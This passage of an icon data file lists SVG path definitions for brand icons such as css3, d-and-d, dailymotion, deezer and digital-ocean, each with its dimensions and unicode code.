23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"],
	"css3": [512, 512, [], "f13c", "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"],
	"css3-alt": [384, 512, [], "f38b", "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"],
	"cuttlefish": [440, 512, [], "f38c", "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"],
	"d-and-d": [576, 512, [], "f38d", "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"],
	"d-and-d-beyond": [640, 512, [], "f6ca", "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"],
	"dailymotion": [448, 512, [], "e052", "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"],
	"dashcube": [448, 512, [], "f210", "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"],
	"deezer": [576, 512, [], "e077", "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"],
	"delicious": [448, 512, [], "f1a5", "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"],
	"deploydog": [512, 512, [], "f38e", "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"],
	"deskpro": [480, 512, [], "f38f", "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"],
	"dev": [448, 512, [], "f6cc", "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"],
	"deviantart": [320, 512, [], "f1bd", "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"],
	"dhl": [640, 512, [], "f790", "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"],
	"diaspora": [512, 512, [], "f791", "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"],
	"digg": [512, 512, [], "f1a6", "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"],
	"digital-ocean": [512, 512, [], "f391", "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"],
